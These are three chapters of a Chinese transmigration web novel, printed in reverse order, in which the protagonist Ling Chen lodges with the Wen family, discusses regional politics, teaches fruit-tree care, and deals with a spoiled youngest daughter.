稳定好局势后,冯延先是把张承直接抬上了颍川别驾的宝座,又寻了个机会,将凌晨任命为颍川团练文书。 这个职位的主要任务,就是管理三千乡军和开封守军的武库、物资和饷银发放。 人一旦忙起来,时间就会过的飞快,转眼间又是人间六月,夏至时节。 与外面的一片乱象不同,颍川府治下各地都是太平景象。由于乱兵隔绝了通往京城的道路,所以收上来的粮草赋税也不用往北拉了,全都屯积在开封、临颍和许县三处官仓里。 别人屯枪我屯粮,国富而兵弱,绝对是取祸之道。但由于谁也不知道朝廷能不能挺过这一劫,所以生性谨慎的冯延拒绝了凌晨招募兵勇扩充乡军的建议。 但他认为凌晨上报的各县基层巡夜更夫太少,维持街道秩序的皂吏不够是一件很严重的民生问题。 于是临颍县多了两千三百名更夫,许县新增了一千五百名皂吏。 第52章 熊孩子 “我们文家表面看着门庭若市,家宅兴旺,可实际上却是处在风口浪尖之上,立于滚沸油锅边缘。当今圣上受朝中奸人蒙蔽,削藩之意日渐显现,欲将兵权俱揽,乾坤独断……唉!” 这话不假,潮头上风光无限、诱惑无限,可也是风险无限,就看你如何把握了。 凌晨轻扣着食指,赞同的点了点头后出言问道:“若是交付兵权……” “汝南文家的兴衰是小,江淮七府四十三县的安危却大,没有了父亲镇守此处,整个大周怕是再也没有能与唐国抗衡的人了。更不要说如今四境烽火,朝廷……恐怕也分不出精力来管这里。” 说着说着,文若看向一旁的凌晨:“无论于公于私,这兵权都不能交。” “所以昨晚袭击我们的那些人……” “他们的目的很明确,将我重伤,再杀了登弟,叫岳父与我爹互生嫌隙,使双方见死不救,甚至彼此攻伐,好逐个击破。” 凌晨左右看了看,见下人们都站在远处后,坐起身将椅子往文若那边挪了挪,非常小声的问道:“那大人打算怎么破局?” 文若看着凌晨的脸,思索良久后,沉声答道: “如今圣上渐渐年迈,北疆未宁,国库也早已见底,父亲认为……大周可能要坚持不住了。皇家以晋阳、河北为龙兴之地,可如今一处反叛,一处又被他人窃据,已如无根之萍……” 凌晨摇头说道:“但毕竟已经统治了中原三十多年,在形势没有明朗之前,还是不要做出反应,你看那应开疆如今的处境。我的建议是能忍则忍,保境安民,积蓄实力,以观后变。” 文若低头看着院子里的地砖,沉默不语。 一个人的军事成就越高,面临的政治压力也就越大,韩信、李靖、岳飞、多尔衮莫不如是。当你成为某个地区或者某个领域无可替代的那个人时,也就是大祸临头之日。 没有哪个智商正常的老板,会让自己的公司里出现一个不可替代的人。一个岗位有能力优秀、业绩突出的员工当然是好事,但也必须要有能在他离职后随时接替的人。 如果你一走公司就转不动了,那究竟你是老板还是我是老板? 文家,包括其他几个藩镇节度使,现在都面临着同样的困境。 自古以来,交出兵权的将领也确实有得以善终的。但如今的大周,刚经历过唐末近百年的血腥厮杀,是在阴谋与背叛中走到今天的,压根不是一个伏低做小就能换来善了的时代。 进退两难,是这些看似权势滔天的节度使们眼下必须要面对的处境。 作为局外人的凌晨,从个人角度考虑,是不希望文家有事的。而且从应开疆宁可造反、做全天下的罪人也不肯屈服,就可以看出当今周皇的人品和征信。 高低也得是个网银被冻结的黑户。 甚至朝廷可能在当初大周刚立国时,就已经对这些地方势力进行布局和谋划了。当年的对抗只是从战扬转移到了谈判桌上,现在谈不拢,当然是继续开打。 只不过原来代表河北和晋阳的周室皇家,现在代表的是中原势力。而河北、晋阳两地分别选择了应开疆和晋阳节度使作为新的话事人。 政治斗争,是极其复杂的。 金戈铁马、沙扬纵横的豪迈和悲壮背后,永远都是令人生厌和不齿的蝇营狗苟、争权夺利。没有政治的需要,战争是不会独自出现的。 而凌晨作为真正的白手起家,显然没有扯旗子的资本和实力,但文家有,而且他们父子的人品、能力、和自己的交情都还不错。 至少目前还不错。 下棋要从全局看,但真正出手后,还得一颗一颗的落子。先是望云镇,再是临颍县,接下来就该轮到颍川府了,再往后,是整个中原。 天下为棋局,众生为棋子。 —— 文家什么都好,就是作为客人,碰到主人家管教不听话的孩子时会有点尴尬。 “我不管!我就要去玉月斋和怜姐姐她们聚会!” 正堂里,小祖宗文瑶气的粉拳紧握,娇声高喊着向文夫人提出要出门的请求,因为她早就跟自己的小闺蜜们约好了今天黄昏要去城里一处大户人家的府上给姐妹过生日。 但是,文若和韩登昨晚才刚被人刺杀过,你这个时候出去,不是上赶着给人家冲业绩吗? 谁知道汝南城里还藏着多少细作和杀手? 搞不好她这位过生日的小姐妹都有可能是朝廷或者皇家安插在城里的风筝。 文夫人语气严厉的对文瑶说道:“真真是平日里惯坏了,分不清扬合和时候!如今外面危机四伏,你大哥他们都不敢随意出门,你一个小女儿家,出去还不得被歹人掳去?!” “娘~怜姐姐跟我们家隔着不过两条街,又不远!再说了,这里是汝南城,爹爹已经搜捕一天了,那些贼人肯定已经吓破了胆,逃命都来不及,哪里还敢出来行走?你就让我去吧!” 文夫人气的指着女儿,手指微抖着说不出话来。凌晨和韩登互相对视一眼,都看到了彼此眼中的尴尬。 早知道是这个样子就不来了,窝在自己院里多好。他们两个都是听到吵闹声才赶过来看看发生了什么事,结果现在走也不是,留也不是…… 文瑶小嘴一瘪,竟然直接“哇——”的一声站在堂中哭了起来,文鸯和韩意一左一右的搂着她连哄带劝,可她丝毫听不进去。 文若皱着眉走过去,耐心的劝说道:“瑶儿,要听母亲的话,现在是非常时期,绝对不能任着性子胡来!听大哥的,乖乖在家里待着,昂~” “我不要!她们一定会笑话我的!说我是个不守信用的胆小鬼……” 啧…… 凌晨悄悄后退了点,略后韩登一步。谁知道这小子也跟着后退了一点,两个人就这么你一点我一点,退到了门边。 “你搞毛?” “那你干嘛?” “你是嫂子亲弟弟,他们的家事也能参与一二,我肯定不能开口去劝啊!那成什么了?再说那小祖宗明显看我很不顺眼,我开口那不是火上浇油么?你干了这么多年刑侦工作,这点眼力见都没有?” “我也不好插嘴啊,再说了,凭什么让我一个人尴尬?你要么与我一同劝说瑶儿熄了念头,要么大家一块溜,不要这么不讲义气!” “你特么……” 好好好,这么玩是吧,那就都白活! 凌晨又退了一点,不等韩登跟上,就张嘴朗声喊道:“什么?韩兄你有两全其美的办法解决小妹的苦恼?” 韩登张口结舌的看着身旁的凌晨,又感受到了数道目光,脖子僵硬的扭头看去—— 文若、文夫人、文鸯都看向了他,长姐眉黛微皱,貌似生气了,文夫人也用充满希冀的眼神望着自己。 文瑶两颗宝石般的眼睛里满是晶莹,吸着鼻子委屈的向韩登开口问道:“真的吗登哥哥?” 韩登心里顿时有一万头草泥马奔腾而过!! 行,你行,你真行啊~ 韩登咳了一声,CPU飞速运转,脑袋都快冒烟了,突然急中生智的说道: “既然离得不远,那要不就让凌兄陪着小妹去吧?他武艺高强,再配上下人跟随护卫,定能无虞。” 哎西八…… 这下所有人的目光又齐齐转向了凌晨。凌晨抹了一把额头上的汗,讪讪笑道:“我……哈哈哈……我不行吧……” “娘!那就让他跟着我去嘛!这样你们总可以放心了吧?” 文瑶也急忙抓住机会向着文夫人苦苦哀求,彻底堵死了凌晨回绝的路。 最可怕的是,文夫人在万般无奈之下,竟然没有出言反对,而是叹了口气,看向文若。 文若望着凌晨,也没有说话,似乎是在思索。 凌晨苦笑着低下头,咬着牙悄悄说道:“司狱大人,你还真是会过河拆桥、恩将仇报啊~早知道会这样,昨天我就该让那帮孙子把你当糖葫芦串了!” “少倒打一耙了,明明是你先阴我的!” 凌晨无奈的抬起头,拱手说道:“我觉得其实…不行就把那几位小姐接来府中,不是也可以……” “呜呜……哪有给人家庆生辰还要把人家喊过来的啊!你们都骗我!都想让我在她们面前丢人……呜呜呜……” 小祖宗放声大哭,比先前更厉害了。原本来做客的凌晨瞬间就成了文府最大的恶人。 见实在拗不过她,心中又心疼妹妹,不忍见她这么难过,文若只好面色纠结的望向凌晨,他的武艺,自然是信得过的。 “贤弟,这……” 这什么?我特么刚被隆重招待完,现在还哪有拒绝的余地?这么点小忙都不帮,以后还能指望帮什么大事? “那……那就去呗。” 文瑶听到凌晨这样说后,立刻破涕为笑,也不等文夫人开口定音,就转身往堂外跑去:“那我现在就去梳妆,再迟就赶不上了!” “唉!这样下去以后可怎么办呐!嫁与夫家后若是还这样任性胡来,真不知是福是祸……” 见拦不住女儿,文夫人气的捂着胸口,无可奈何。 凌晨摸着鼻子心想道:没事,人教人是教不会的,社会会帮你们教育。你们疼她,我可不疼,就让我来帮你们调教调教这熊孩子吧~ —— 热闹的大街上,凌晨穿着一身小厮的衣服,跟在轿子一旁装孙子,让文府护院穿上一身甲胄,骑着高头大马走在前面威风凛凛的打头阵,一行人护送着文瑶前往玉月斋。 还好,路上没有发生什么意外,文家小团宠心满意足的进入了玉月斋,跑去和小姐妹们赏花吃茶去了。 文瑶今天能顺了心意,开开心心的和小姐妹们聚会,如果不给她点教训,只会更加助长她单纯的认知和盲目的自信,往后指不定会犯下什么不可挽回的错误来。 直到天色渐暗,她才心满意足的从里面被几个同样大的小姑娘送了出来。 “走吧~回家。” 凌晨看着下巴扬到天上去的小太子奶,笑着摇了摇头,将轿帘子放下后,弓着身子回到侧面。那护院有模有样的大手一挥,众人就朝着文府行去。 刚过了一条街,大家就默契的将轿子抬离了主路,转进了一条小巷子里。 文瑶坐在轿子里,满心欢喜的拿着小姐妹回礼的两串珊瑚和琉璃仔细欣赏,根本没察觉到异常。 下一刻,轿子外面传来了许多高声喊叫,“呃”、“啊”、“救命”声接连不断的传入小姑娘的耳朵里。她被吓的肩膀一颤,连忙想伸手掀开轿帘去看,谁知道帘子却被人先一步粗暴的扯开了! 一个满脸胡渣、头发稀疏、看起来十分丑陋凶恶的黑脸大汉露出一口大黄牙,狞笑着吼道:“你就是文瑶?!” 文瑶被眼前的人吓的花容失色,连忙缩着身子向后靠去,拼命叫喊道:“来人!快来人啊!” 黑脸汉子冷哼一声,一脚踩进轿子里,凶狠的说道:“别喊了,你的随从和护院都已经被大爷杀散了!现在该轮到你了!” 说罢,他就举起了手中的菜刀,另一只手蛮横的向着文瑶抓去! 文瑶立刻就被吓的哭出声来,整个人缩在轿子角落里,拼命用脚蹬着黑脸汉子,激烈的挣扎道:“我哥哥可是军中的猛将,我爹爹是江淮节度使!你快走!不然等我告诉他们,一定会杀了你的!” “哈哈哈哈!正因为你是他们的家人,我才专程来找你的!你以为你爹和哥哥能吓得住我吗?别人怕他们,我可不怕!我要把你的脚趾头剁下来!把你细嫩的小手烤了下酒!还要把你的头发一根一根的拔成和我一样的秃顶!” 文瑶听的心惊胆颤,竟然还有人不怕爹爹和哥哥?以往只要自己说出他们的名号,所有人都会对自己客客气气尊尊敬敬的,怎么还有人这么大胆?! 剁脚,拔头发,烤……烤手?? 她根本想象不到竟然还有这么恐怖和变态的人,将身子缩在角落里,四肢乱舞的抵抗着,心中悔不当初! 早知道就听哥哥和娘的话了! 第51章 略懂一些 文夫人说话很有亲和力,能让人在不知不觉中就产生出一股亲近之感: “府中是我打理的,谢荣想必你已熟识,内院的几个管家婆子都在这了,你有什么需要的,尽管吩咐她们就是了。” 阿姨,你越是这么客气,我就越觉得拘谨啊! 你还不如来一句:“哪里来的乡巴佬?给老娘规规矩矩的,不然打断你的狗腿!” 那我才能真的不拘谨。 “多谢伯母,那我就恭敬不如从命,多有叨扰了。” “嗯~” 文夫人吃完饭跟凌晨聊了会,精神也乏了,加之还有别的事情,就在侍女的搀扶下从软椅上站起身来,屋子里的其他人也都跟着站了起来。 “我知道你是军中出身,想来已经厌烦了这些絮叨,你们年轻人聊的来,彼此多接触接触,我老婆子就先回去歇着了。” 凌晨连忙说道:“岂敢,伯母累了就去歇息,不必管我。” “嗯~~若儿,意儿,你们替我上点心,照顾好凌晨,他有什么需要,叫下面尽心去办。” 文若和韩登老姐齐齐说道:“是,母亲。” “伯母慢走。” 直到目送着文夫人离开后,凌晨才长出了一口气,可算能轻松点了。 但是一转身,韩意和文家姐妹还立在这里,依旧有些不自在。 文若看出了凌晨的拘束,拉着他重新坐了下来,大马金刀的靠在椅背上说道:“你我是兄弟,她们自是你的姐妹,不必拘礼。” 韩意也笑着说道:“是啊,晨兄弟就当自己家一般,你看他。” 顺着韩意的目光看去,他娘的!韩登已经躺在软椅上了,两条腿也搭在两座软椅中间,你是真不拿自己当外人啊! 不对,他好像还真不是外人。 就在凌晨稍微放松点坐下来后,站在他对面的文瑶双手交叉抱胸,气鼓鼓的仰着脖子,傲娇的看向另一边:“谁要有他这样的哥哥!” 站在她旁边的文鸯闻言连忙扯了扯她的衣袖,可文瑶看了姐姐一眼后,哼了一声,依旧撅着嘴别过脸去不予理睬。 韩登朝着文瑶悄悄竖了个大拇指,韩意瞪了一眼弟弟,连忙对凌晨说道:“小妹自小得父母喜爱,家里兄姐都宠着她,性子骄了些,年纪小不懂事,晨兄弟莫要跟她一般见识。” 我特么哪有那么闲,跟一个小屁孩一般见识? “无妨,孩子嘛~” “你!!” 文瑶听到凌晨居然真的顺竿爬,摆出一副长兄的姿态把她当小孩看待,心中更生气了。憋了半天,气的跺了跺脚,浑身饰品叮呤当啷的响着离开了膳堂。 文鸯看了一眼韩意,对方朝她点了点头。于是她匆匆朝着凌晨一礼,转身去追妹妹去了。 估计一会文家小团宠不会少蛐蛐了凌晨。 “晨兄弟,弟妹在家平时都做些什么?” “她呀……也没什么见识,就是种种菜,养养花草什么的。” 韩意听后轻轻笑了一下。 她这一笑,把文若吓的连忙伸出手隔空制止,原本躺着的韩登身子都坐直了,用食指抵着嘴向姐姐比出“嘘”的手势。 韩意被他们突然的举动吓了一跳,有些疑惑的问道:“怎么了??” 凌晨笑着说道:“没事,你继续说。” “昂……” 韩意虽然觉得有些莫名其妙,不明白相公和弟弟是什么意思,但还是收起笑容谨慎的说道: “种菜我不是很懂,不过养花我倒是有些心得。说起来,我还喜欢栽些果树,像院子里的青梅、水桃都是我打理的。后院还搭了葡萄架子,母亲今个给兄弟熬的粥,用的就是去年晒干的青葡。” 听到她这么说,文若和韩登悬着的那颗心才放了下来。 凌晨笑着说道:“花草馨香,各有不同寓意。果实又能让人感受到收获的喜悦,分给好友家人享用,确实是难得的雅兴。” 韩意听见凌晨有这番见解,顿时也来了兴趣,点头笑道:“不错,精心打理一年,看着树上结出累累硕果,的确让人身心愉悦。可惜我家乡的林檎在这里长的不好,结出的果子个头偏小,不然也能叫公婆姐妹们尝尝。” 韩登闻言插嘴道:“长姐,娘不是每年都会派人给你第一时间送来新鲜的林檎吗?” 韩意望着弟弟脑袋轻歪,难得露出一丝隐藏在庄重表象下的活泛:“送过来终究需要时日,味道和刚从树上摘下来的自然无法相比。” “那个……” 凌晨思索着问道:“嫂子,你平时都是怎么打理苹……林檎树的?” “浇水、施肥、修剪枝叶,大概就这些吧~” “套袋吗?” “啊?” “授粉吗?” “呃……” “嫁接不?” “……” —— 东厢房书屋里,韩登和文若站在桌子两边,两脸懵逼的看着凌晨手握毛笔、弓着身子在纸上图图画画,一旁的韩意听的频频点头,还时不时的指着纸上的奇怪图案问出一两句疑问。 “你看啊嫂子,这个果袋口必须用牢固的细铁丝扎住,而且一定要在比核桃小的那时候扎,虫子和鸟才不会在它成熟时霍霍到果实。这么做也能避免被阳光直射晒伤果皮,还能防止被冰雹打伤品相。 另外你可以在开花的时候往府里拉两箱蜜蜂,当蜜蜂采蜜的时候,身上的绒毛会在雄花和雌花之间游走,完成果花的授粉,能够提高结果的数量。 一棵枝上最多留六七颗果子就行了,其他的统统剪掉,把树根吸取上来的营养集中在一起,这样才能结出大的果实。一株果花上会有三四个甚至六七个果子,你只留下一个就行了。 还有啊,树尖高到3米……也就是大概快一丈的时候,你就叫人把树尖锯掉,不要让它再长高了,平白浪费养分。另外你可以把树枝向四周拉下来,再绑上一些小沙袋之类的物件拉平,这样照料起来容易,采摘时也方便些。” 他们两个说的头头是道,讨论的热火朝天,一旁站着的韩登和文若,跟见鬼似的望着滔滔不绝的凌晨,再看一眼纸张上密密麻麻的图画和韩意十分专注的神情,更懵了。 不是哥们,你真懂啊? 这你也懂?! 韩登望着凌晨的侧脸,心中疑惑至极,自从认识以来,他一直明里暗里的关注着凌晨的一举一动。 他杀人很猛,手起刀快;治理地方,百业兴旺;万里江山,绘于一图;养猪养牛,提升产量;还弄出了一个大祈天灯,那玩意能把活人送到半空…… 至于商贾之道就更不用说了。 现在又会养花种树,为他长姐这个专研此道的人答疑解惑。 他怎么会这么多东西? 最重要的是,他还会些什么? 一旁的文若也是目光灼灼的盯着凌晨,不过他跟韩登不一样,他看到的是一座山。 一座储量惊人的宝山。 “原来如此,明天我就去试试兄弟说的方法,等秋末若是真能结出好果子,一定请兄弟和弟妹来府上亲自摘果,一同庆收~” 韩意将墨迹已经风干的纸张都叠起来收好,笑意比方才更盛。先前她对凌晨友好客气,完全是因为公公和相公的重视。但现在不一样了,她自己也觉得凌晨是个谈得来的趣人。 “不是……你是从哪知道这些养树之法的?”见他们终于讨论完了,韩登赶忙迫不及待的拨着凌晨的肩膀问出了心中疑问。 凌晨随意的挥手道:“去去去,一边去。” 说罢,他就和韩意向着花房走去,准备给她灌输一下每种花草的花语,看看有朝一日能不能在大周女性圈子里普及开来。 韩登两只眼睛都瞪圆了,连忙追上去跟在凌晨身后不停的追问道:“你还会什么?你会作诗写赋吗?” “不会。” “阅宗断案呢?” “不会。” “戏文话本呢?” “这个真不会。” 最后,被烦到不行的凌晨从韩意怀里的纸张中要过来两张空白的,将它们叠在一块,随手折了个纸飞机,捏着丢向远处,追去吧~ 韩登跑过去把飞了四五米远的纸飞机从地上捡了起来,拿在手里翻来覆去的看了一会,抬头望向凌晨已经走远的背影,更迷茫了。 两张轻飘飘的普通宣纸,为什么他随手一捣鼓,就能平稳的飞这么远?根本不像是被蛮力乱扔出去的,看起来像是水中游行的鱼儿一样。 这家伙…… 怎么做到的? 相比起韩登的大惊小怪,文若就显得淡定多了,只是一路跟随在凌晨和自己娘子后面。虽然有些话题不感兴趣或者不太懂,但他还是静静的聆听着他们的谈论内容,默默的记下了凌晨说的那些话。 最后,韩意心满意足的拿着纸去找两个妹妹,她已经迫不及待的想告诉她们每种花的花语了,还要给她们教自己新学的千纸鹤折法。 文若带着凌晨来到东厢院子里,一起坐在和煦的春日暖阳下晒凌晨口中所说的“日光浴”。 树梢上嫩芽新绿,微风轻轻拂过,将四月芳菲从枝头吹落,庭院一片大地飞花,沾衣未摘,散落在青青草地。 鸟叫虫鸣,满城飘絮。 只要心中有海洋,哪里都是马尔代夫。嘬了一大口酸梅汤后,再舒舒服服的伸个懒腰,静静的躺下。 这一刻,凌晨只想被阳光晒透。 “贤弟,你以前是做什么的?” “啊?昂,以前当牛马的。” 见文若不接话,凌晨只好认真的给他编了起来:“在成为流民之前,我是个被父母遗弃的孤儿,记得那是一个大雪纷飞的深夜,江南下了一扬罕见的暴雪,临安也难得出现了断桥残雪的美景。 我师父在灵隐寺的门口发现了我,就把我抱了进去,施以粥米,救活了我。后来,临安遭遇兵祸,为了活命,他就带着我游历四方。拜过崆峒谪月亭,登过武当凌云峰,吃过云中草原的牛肉干,吹过蓬莱仙阁的海上风。” 文若闭着眼睛,不急不躁的指出其中的漏洞:“既然是寺,想必在里面修行的定然是得道高僧,怎么去的都是道观?释门……应该不食荤腥吧?” “这……” “临安位于唐国境内,是江南重镇。自李雄伪建帝制以来,已经二十多年没有经历过战乱,什么时候发生的兵祸?” “呃……” 文若轻叹了一口气,笑着说道:“贤弟不愿以实情告知,想必是有难言之隐,我并非想要刨根问底,只是好奇你怎么会涉猎如此广泛,几乎是样样精通。” “没有精通,略懂,略懂。” “贤弟……作诗写赋的功底如何?” “略懂。” “还会些什么?” 凌晨思考了一下后,决定还是真诚的回答一下文若的问题,于是他睁开眼睛坐起身来,望着文若脸色认真的说道—— “上可九天揽月,下可五洋捉鳖。” 文若见他还在搪塞胡话,略微有些失望,文家已经是尽全力、全家上阵招揽了,他还是有所保留吗…… 凌晨见文若不接话,立刻就急了:“大哥,我没诓骗你,我真的对载人航天和深海潜航有一点点粗浅的了解,我还在海军节的时候钻进潜艇里参观过呢!” 文若望向凌晨,见他表情不似作伪,一时间也有些分不清虚实,于是他试探性的问道:“你说的这些是……” “是这样的,这事还得从嫂子种的林檎为什么会从树上落下来说起……” 半个时辰后,文若懵了。 这次是真懵了。 引力?空气? 月亮上真的能修建出一座广寒宫?? 如果换了别人来对他这样说,他直接当江湖骗子一刀送去奈何桥排队了。可说这话的是凌晨,而且他讲的头头是道,根本不像是现编的。 但…… 这都是什么啊?从来没有听说过啊! 最终,文若虽然不理解,但还是表示了尊重,认真的倾听完后,把凌晨说的话当成道家和佛家那种虚无缥缈的世界观和神学一笑了之了,并没有放在心上。 或许是一种全新的小众流派吧~ 凌晨见文若把自己毫无保留、下定决心透露出来的惊世秘闻当成了封建迷信,顿时有些哭笑不得。 不说你不开心,真说了你又不相信,唉! 第50章 家宴 第二天一觉醒来,老文派下人前来传话,叫凌晨在文府暂住两天,等到四月中旬再回临颍。 我的房子还蛮大的,欢迎你来我家玩,玩累了就直接睡觉,没问题的…… 虽然总有一种在杰难逃的顾虑,但老文已经明确了态度:这是通知,不是商量。 回笼觉睡到日上三竿,打着哈欠伸了个懒腰后,凌晨望着窗外的满园春色,昨晚的雄心壮志不知怎么回事就减退了不少。 自己这“间歇性踌躇满志,持续性混吃等死”的毛病还是改不过来。夜里总想着我不能再这么沉沦下去了,要干一番大事业! 可一到白天,中午吃什么?关注的紫颜小仙子有没有更新?新出的电影好像还不错。 什么?一块钱一包的屁? 我倒要看看怎么个事! “一个犁牛半顷田,收也凭天,荒也凭天。 粗茶淡饭饱三餐,早也香甜,晚也香甜。 布衣得暖胜丝绵,长也可穿,短也可穿。 草舍茅屋有几间,行也安然,坐也安然。 雨过天晴驾小船,鱼在一边,酒在一边。 夜归儿女话灯前,今也有言,古也有言。 日上三竿我独眠,谁是神仙,我是神仙。” 吟完一首歌以咏志的元曲后,凌晨心情大好,掀开被子从床上翻了下来,踩上靴子走出卧室。早有侍女听见动静,端着冒白气的温热水盆低头走了进来。 凌晨习惯性的说了句谢谢后,挽起袖子就将手伸进水盆里,在脸上捞了两把,“噗呲噗呲”搓完脸后,对着铜镜一看,里面这哥们真是世所罕有的清爽帅气。 侍女惊讶的偷瞄了他一眼后,继续低着头不说话。 用咬软的柳条刷了刷牙,端起一杯清茶漱了漱口,“噗”的一声吐到漱盂里,再拿起湿毛巾胡乱擦把脸后,凌晨开始对着铜镜拨弄起自己头上的两根毛来。 “怎么睡到现在?” 回头看了一眼胳膊上绑着布带吊在脖子上的韩登后,凌晨转头继续对着铜镜用小拇指微调发型。 “你世界警察啊?我睡到几点也要管。” 韩登自顾自的坐在椅子上,看着凌晨说道:“早上传饭见你没醒,伯母就没打扰你。这会让我来看看你醒了没。说无论如何也要把你喊醒,哪有一整天不吃饭的。” 凌晨听的手指一顿:“伯母?文夫人??” “对啊~不然还能有谁?” 凌晨整理着胳膊上的袖子走到韩登身边坐下,疑惑的问道:“叫人送我房间就行了,我一个粗人外加下属,跟文夫人一起吃饭算怎么回事呢?” 韩登无语的说道:“你浑身上下哪点像下属?在外人眼里,你都快成我上官了。” 凌晨这辈子最不喜欢的就是和长辈打交道了,尤其是那些需要拘束自己装成乖孩子去拜见的。 “能不去吗?” “不知道,不过伯母亲自下厨给你熬了点粥。” …… 文府的膳房在二院的正堂东侧,后面就是文若的东院,两边是棋室和旁舍。膳房前面是种着海棠和水桃的花园,还有一棵青梅树,上面结满了绿色的梅子,果皮表面还挂着水珠。 跟在韩登后面的凌晨稍微有些忐忑,也不知道文夫人厨艺怎么样,要是煮的粥很难喝,那自己怎么咽下去?吐出来又会不会太失礼…… 膳房很大,面朝正堂这边是一扇门和支开的四五个雕花镂窗,面朝文若住的东厢院子那边却是所有的门都大张着,清风穿堂而过,草木飘香,花气袭人。 南北两边各放着两张圆桌,桌面宽大,泛着明光,丝毫看不出木材拼接的痕迹,仿佛本来就是一体。北边上座这个比南边那个要大一点,估摸着能坐十个人,也不会显得拥挤。 正北墙上挂着一副猛虎下山图……嗯?不是,谁家好人往食堂挂这玩意啊? 图下摆着案桌和软椅,两侧也有供休憩和饭后饮茶闲谈的客座。一扇巨大的六折屏风立在南桌后面,上面有七八只飞鹤,有的在溪边饮水,有的在松下昂首,有的在云中展翅。 他们进来时,北桌已经坐着人了,除了文若之外,还有三名女子。 年纪大点的那个看着也就二十左右,一身淡绿罗衣,肩膀上披着透纱薄肩,边缘处挂着许多珍珠,像是一片滴露菏叶。脖子里戴着一串淡黄色的珠链,头发上簪着三颗蓝色的蝴蝶萃,最边上那个还坠着类似步遥的短苏。 剩下那两个年纪小点,看发型应该都还没有出阁。 文静点的那个一身淡鹅黄,除了耳边坠着两滴玉泪外,浑身上下就没有什么名贵华丽的装饰了,连头发上也只是系着一条银线扭作的蜓翅,除此别无一物。不过面容恬静,素手捏着兰花指,一看就是知书达礼的大家闺秀。 另一位年纪最小的,是一位集万千宠爱于一身的天真少女,嘻嘻哈哈的笑个不停,也没有其他两位拘礼。在看到凌晨后还用手挡着嘴巴,在年纪最大的那名女子耳边悄悄说些什么,目光中尽是好奇之色,惹的对方轻拍了一下她的小手。古灵精怪,活泼烂漫。 “贤弟,快来。” 文若站起身来,招呼着凌晨到自己身边去,那三名女子也跟着起身,就这么静静的看着他,盯的凌晨有些不自在。 男女大防有时候……也不全是糟粕。 在扬之人除了韩登自顾自的一屁股坐了下来之外,其他人都站在圆桌边。 文若指着年纪最长的那名女子向凌晨介绍道:“这是你嫂子。” 凌晨向文若娘子拱手行礼道:“见过嫂夫人。” 韩登老姐也浅笑着微福一礼,淡启朱唇:“早就听相公多次提及晨兄弟,数次搭救妾身公翁,昨夜又于歹人手中保全相公和舍弟,一直未能当面感谢,深以为憾。今日终于得偿所愿,还请受妾身一拜。” 说罢,她又再次低身道福。 太客气了太客气了,那都是路过顺手的事,咱们随便一点,你整这么隆重干嘛?她俩不会也要挨个谢我吧?那这饭还能不能吃了? 虽然心中十分厌烦这些繁文缛节,但凌晨还是不得不走流程,再次举起双手向着对方行礼:“都是我该做的,嫂夫人折煞在下了。” 二人见完礼,文若又手心上翻指着那个文静一点的说道:“这是我二妹,鸯儿。” 鸯儿?文鸯? 凌晨听后不禁打量起眼前的文静少女来,生怕对方开口来上一句:“让尔等有命追,无命回!” “见过凌公子。” 嗯……还好还好。 “这是……” 文若又指向那名年纪最小的女子,正要介绍,谁知她竟然主动起身行了一礼,打断了文若自我介绍了起来: “我叫文瑶,是家里最小的~” 凌晨愣了一下,拱着手点了点头,尽量跟她保持距离感。 他平生最讨厌两个玩意儿,一个是太乙,另一个就是瑶。 这玩意如果在对面,强的让人绝望。秒刷三盾再来个精油推背,阳光大男孩直接原地报废。 要是在自家,就跟被下了降头似的,那智商和思维简直不像人类!骑在自己身上不下来,还理直气壮的说是在给自己加护盾。 我十分认可你的团队意识,但请你睁大眼睛看清楚,我特么是兰陵王啊!! 见凌晨对自己表现的十分冷淡,并没有表露出喜爱或者夸她可爱之类的话,文瑶疑惑的盯着他看了看后,小嘴一撅,“哼”的一声就坐了下来,腮帮子微鼓,看起来有被气到。 就在气氛略微有些尴尬之际,几个年长的女管家走了进来,身后的侍女各自端着菜肴跟在她们身后,依次传到桌上就离开了。一位雍容华贵的妇人在女管家的搀扶下从屏风后走了出来。 刚坐下的凌晨只能无奈的再次起身。 “快坐下,来了这里莫要拘束,跟在家里一样。” 头戴三色淡云簪,身着华领锦明裳。 腰系藏青鱼蓉尾,脚踏金丝履绣双。 耳似栖梧凤羽叶,目露垂悯怜慈光。 也可小厨拨柔酿,也可掌令号正堂。 都说情侣在一块待久了就会越来越像,这位和老文携手走过数十年风雨的阿姨,身上也明显沾染了几分将帅之气。举手投足间,都有一股雷令风行的架势。 她进来后,连韩登这小子都规规矩矩的站起来了。 “见过夫人。” “哎~这话是瞧不上老身吗?” “呃呃……见过伯母。” 听到凌晨改口后,文夫人这才继续眉开眼笑,拉着凌晨坐在了她跟文若中间。 待众人坐定后,文夫人亲自从女管家手里接过一碗冒着热气的七宝素粥放到凌晨面前,凌晨连忙低着头伸出双手去接住。 “怎么这么瘦?” “天生就是这样,肉也吃着,酒也喝着,就是不长膘。” “别光顾着说话,喝~” “哎哎,好。” …… 说实话,凌晨真的很想拂袖而去,他从来不怕被人冷落,但一直很怕别人热情。 许久不联系的同学突然找上了你,谈起往日的同窗岁月,感慨世事无常,时光飞逝,紧接着又关心起你的近况,询问你工资多少,有没有对象,你慌不慌? 开门后的女顾客询问你辛不辛苦?吃过饭没?要不要跟她一起共进晚餐,喝杯奶茶?房间里到处都是直播器材,卫生间的水管又恰好在这个时候坏了,你修不修? 远的不说,韩司狱推开你家院门,背着手笑嘻嘻的走了进来,你第一时间会想到什么? 在一群人的注视下,凌晨浑身难受的捞起一勺尝了尝,嗯……还不错。 粥里有核桃碎和葡萄干,口感挺好,还有柿饼渣,喝起来酸酸甜甜的,又不失绵柔,要是能再配点榨菜,那就更香了。 “伯母手艺真好,真香~” 听到凌晨夸赞,文夫人呵呵笑了,招呼其他人也开始吃饭,从这一刻起就没有人说话了。三名女眷吃饭都没有声音,文夫人更是吃相优雅,韩登这小子也装起人了,学人家食不言、寝不语。 文若在军中待惯了,管你这啊那的,炫就完了。在战扬上,只要能吃,就全往嘴里塞。只要还没塞进嘴里,那就不算食物。 有人在一旁“刺溜刺溜”的打头,凌晨也不装了,双手捧起碗就往嘴里扒。文若老婆看了他一眼后又低下头去,文鸯也是偷瞄了一眼就继续用餐,而文瑶则是皱着眉头盯着凌晨。 第一印象不好,怎么看都讨厌。 要不是他救过爹爹、哥哥和登哥哥的性命,早就让人把他赶出去了!吃相那么粗俗…… 他们习以为常的用餐礼仪,在凌晨看来却十分诡异,安静的令人尴尬!吃饭不看两集《美国老哥最后的自由》,那还能叫吃饭吗? 唉…… 